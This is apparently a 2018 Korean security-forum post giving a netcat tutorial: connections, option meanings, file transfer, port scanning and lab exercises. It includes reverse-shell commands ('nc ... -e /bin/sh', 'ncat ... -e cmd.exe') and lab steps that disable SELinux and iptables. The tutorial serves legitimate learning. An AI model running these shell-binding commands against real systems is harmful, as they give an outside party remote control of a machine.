You cannot see this page without javascript.

메뉴 건너뛰기

WHKorea

보안 netcat

구피천사 2018.10.08 17:50 조회 수 : 70

TCP UDP connection program server/client
Server port is opened for users to use its services.

nc -nlvp 4444 (server side)
nc -nv 10.10.10.1 4444 (client side)

​Reverse connect

​Usually when we connect to server to use services. But reverse connection is to connect to server to let them use client's pc.

nc -nlvp 4444 (server side)
nc -nv 10.10.10.1 4444 -e /bin/sh (client side)


​Transferring files

nc -nlvp 4444 > incoming.exe (server side)
nc -nv 10.10.10.1 4444 </usr/share/windows-binaries/wget.exe (client side)


ncat -lvp 4444 -e cmd.exe --ssl
nc -nv 10.10.10.1 4444


netcat : network connection 에서 raw-data read,write 할수있는 유틸리티다.


-n : 호스트네임과 포트를 숫자로만 입력받는다.
-v : verbosity 를 증가시킨다. 더 많은 정보를 얻는다. 포트스캔시 오픈유무를 얻을수 있다.
-u : UDP 모드로 통신한다.
-p : -l 옵션과 같이 사용하며 데몬모드일때 로컬 포트를 지정한다.
-l : listen 모드로 대기한다.
-z : 데이타를 보내지 않고 통신을 종료한다. 보통 스캔할때 이 옵션을 사용한다.


그외 여러 옵션이 있는데 생략하고.


데이타 입력을 표준입력으로 부터 받을수 있고 출력은 표준출력으로 보낼수 있다.
따라서 네트워크 양 피어에서 한쪽에서는 파일을 쓰고 한쪽에서 받는다면 파일 카피같은것을 네트워크로 할수 있다.


포트스캔시 -v -z 옵션을 사용하는데 그 출력은 표준에러로 출력된다.
데이타를 가공할려면 표준에러를 잡아서 하여야 할것이다.


아래는 몇가지 예시.

## port 열려있는지 체크
netcat -v -z -w 3 host port


## range 형태로 포트체크(연결시도시 무응답인경우 3초까지(-w 3) 만 기달린다.
netcat -v -z -w 3 host port1-port2


## 원격지 머신에 tcp 연결후 데이타 쓰기
netcat -n host port < data.txt


## 원격지 머신에 udp 연결후 데이타 쓰기
netcat -u -n host port < data.txt

 

 

* NC (NetCat)

 - 네트워크로 연결된 데이터를 사용하는 툴
 - nc 네트워크 입출력

! 실습

@Server-A
 (
 #setenforce 0               => 방화벽 해제
 #service iptables stop  => 방화벽 해제
 )
 
 #yum install -y nc        => nc설치
 
 #nc -l [포트번호]
 #nc -l 2000 => 포트활성화 (l : listen)
    nc프로그램이 2000번 포트를 활성화(개방)하고 대기상태


@Practice
 (
 #setenforce 0
 #service iptables stop
 )
 
 #yum install -y nc => nc설치
 
 nc [아이피주소] [포트번호]
 #nc 100.100.100.100 2000 => 100.100.100.100ip의 2000번 포트로 연결
 
 -> 데이터 입력 후 Server-A에서 확인

Practice에서 hello라고 입력시


Server-A에서 hello가 나타나는 것을 확인할 수 있습니다.
 -> Ctrl+d로 종료
 

 포트 스캔
 [사용 방법]
 #nc -z [아이피] [특정포트] => 특정 포트만 스캐닝
 #nc -z [아이피] [시작범위-종료범위] => 범위 포트 스캐닝
 
 ! 실습
 @Practice
 #nc -z 100.100.100.100 22 => ssh서비스 o
 #nc -z 100.100.100.100 23 => telnet 서비스 x
 #nc -z 100.100.100.100 80 => http 서비스 x
 
 #nc -z 100.100.100.100 20-1000 => ssh 서비스 o
 
 @Server-A
 #yum install httpd => 웹서버 설치
 #service httpd start => 웹서버 실행
 
 #nc -z 100.100.100.100 22 => ssh서비스 o
 #nc -z 100.100.100.100 23 => telnet 서비스 x
 #nc -z 100.100.100.100 80 => http 서비스 o
 
 #nc -z 100.100.100.100 20-1000 => ssh 서비스 o
                                   http 서비스 o


 

위로